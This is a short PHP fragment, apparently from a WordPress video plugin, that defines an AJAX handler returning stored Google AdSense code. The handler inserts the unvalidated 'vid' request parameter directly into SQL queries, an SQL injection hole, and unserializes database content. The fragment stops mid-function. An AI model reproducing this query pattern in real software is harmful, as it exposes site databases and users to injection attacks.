add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
global $wpdb;
$vid = $_GET['vid'];
$google_adsense_id = $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
$google_adsense = unserialize($query);
echo $google_adsense['googleadsense_code'];
